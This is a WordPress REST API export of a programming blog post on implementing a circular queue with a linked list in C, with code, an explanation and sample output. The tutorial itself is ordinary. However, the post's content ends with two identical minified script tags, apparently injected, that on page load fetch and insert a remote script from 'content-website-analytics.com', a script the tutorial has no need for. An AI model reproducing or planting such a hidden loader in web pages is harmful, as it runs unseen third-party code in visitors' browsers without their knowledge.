{"id":545,"date":"2024-10-19T13:52:14","date_gmt":"2024-10-19T08:22:14","guid":{"rendered":"https:\/\/codexplained.in\/?p=545"},"modified":"2025-11-24T15:33:52","modified_gmt":"2025-11-24T10:03:52","slug":"implement-circular-queue-using-linked-list","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=545","title":{"rendered":"Implement Circular Queue using Linked List"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\n\/\/ Node structure\nstruct Node {\n    int data;\n    struct Node* next;\n};\n\n\/\/ Front and rear pointers\nstruct Node *front = NULL;\nstruct Node *rear = NULL;\n\n\/\/ Function to add an element to the queue (enqueue)\nvoid enqueue(int value) {\n    struct Node* newNode = (struct Node*)malloc(sizeof(struct Node));\n    newNode-&gt;data = value;\n    newNode-&gt;next = NULL;\n\n    \/\/ Check if queue is empty\n    if (front == NULL) {\n        front = newNode;\n    } else {\n        rear-&gt;next = newNode;\n    }\n    rear = newNode;\n    rear-&gt;next = front; \/\/ Point rear&#039;s next to front to make it circular\n    printf(&quot;%d enqueued to the queue.\\n&quot;, value);\n}\n\n\/\/ Function to remove an element from the queue (dequeue)\nvoid dequeue() {\n    if (front == NULL) {\n        printf(&quot;Queue is empty. Cannot dequeue.\\n&quot;);\n        return;\n    }\n\n    \/\/ Case: Only one element in the queue\n    if (front == rear) {\n        printf(&quot;%d dequeued from the queue.\\n&quot;, front-&gt;data);\n        free(front);\n        front = rear = NULL;\n    } else {\n        struct Node* temp = front;\n        front = front-&gt;next;\n        rear-&gt;next = front; \/\/ Maintain circular link\n        printf(&quot;%d dequeued from the queue.\\n&quot;, temp-&gt;data);\n        free(temp);\n    }\n}\n\n\/\/ Function to display the elements of the queue\nvoid display() {\n    if (front == NULL) {\n        printf(&quot;Queue is empty.\\n&quot;);\n        return;\n    }\n\n    struct Node* temp = front;\n    printf(&quot;Queue elements: &quot;);\n    do {\n        printf(&quot;%d &quot;, temp-&gt;data);\n        temp = temp-&gt;next;\n    } while (temp != front);\n    printf(&quot;\\n&quot;);\n}\n\n\/\/ Main function to test the circular queue\nint main() {\n    enqueue(10);\n    enqueue(20);\n    enqueue(30);\n    display();\n    dequeue();\n    display();\n    enqueue(40);\n    display();\n    dequeue();\n    display();\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation :<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Node Structure<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Each node has an integer <code>data<\/code> and a pointer <code>next<\/code> that points to the next node.<\/li>\n\n\n\n<li><code>struct Node<\/code> is used to define this structure.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Front and Rear Pointers<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>front<\/code> points to the first element in the queue.<\/li>\n\n\n\n<li><code>rear<\/code> points to the last element in the queue.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Enqueue Operation<\/strong>:\n<ul class=\"wp-block-list\">\n<li>A new node is created using <code>malloc<\/code>.<\/li>\n\n\n\n<li>If the queue is empty (<code>front<\/code> is <code>NULL<\/code>), the <code>front<\/code> and <code>rear<\/code> both point to this new node.<\/li>\n\n\n\n<li>Otherwise, the new node is added after the <code>rear<\/code>, and <code>rear<\/code> is updated to this new node.<\/li>\n\n\n\n<li>To maintain the circular nature, <code>rear-&gt;next<\/code> is set to <code>front<\/code>.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Dequeue Operation<\/strong>:\n<ul class=\"wp-block-list\">\n<li>If the queue is empty (<code>front<\/code> is <code>NULL<\/code>), print an error message.<\/li>\n\n\n\n<li>If there is only one element (<code>front == rear<\/code>), free the node and set <code>front<\/code> and <code>rear<\/code> to <code>NULL<\/code>.<\/li>\n\n\n\n<li>Otherwise, remove the <code>front<\/code> node, update <code>front<\/code> to <code>front-&gt;next<\/code>, and set <code>rear-&gt;next<\/code> to <code>front<\/code> to maintain the circular link.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Display Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li>If the queue is empty, print a message.<\/li>\n\n\n\n<li>Otherwise, use a temporary pointer <code>temp<\/code> to traverse the queue starting from <code>front<\/code>, and print each node\u2019s <code>data<\/code> until we reach <code>front<\/code> again.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Main Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Performs a few <code>enqueue<\/code> and <code>dequeue<\/code> operations and displays the queue&#8217;s contents to demonstrate how the circular queue works.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<pre class=\"wp-block-code\"><code>10 enqueued to the queue.\n20 enqueued to the queue.\n30 enqueued to the queue.\nQueue elements: 10 20 30 \n10 dequeued from the queue.\nQueue elements: 20 30 \n40 enqueued to the queue.\nQueue elements: 20 30 40 \n20 dequeued from the queue.\nQueue elements: 30 40 <\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">How the Circular Nature Works<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>When adding elements, the <code>rear-&gt;next<\/code> always points back to <code>front<\/code>, creating a circle.<\/li>\n\n\n\n<li>When removing elements, even as <code>front<\/code> moves forward, <code>rear<\/code> still points back to the updated <code>front<\/code>, keeping the circular link intact.<\/li>\n\n\n\n<li>This structure allows the queue to wrap around in a circular manner, hence the name &#8220;circular queue.&#8221;<\/li>\n<\/ul>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation : How the Circular Nature Works<\/p>\n","protected":false},"author":40,"featured_media":572,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-545","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/545","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/40"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=545"}],"version-history":[{"count":5,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/545\/revisions"}],"predecessor-version":[{"id":1392,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/545\/revisions\/1392"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/572"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=545"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=545"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=545"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}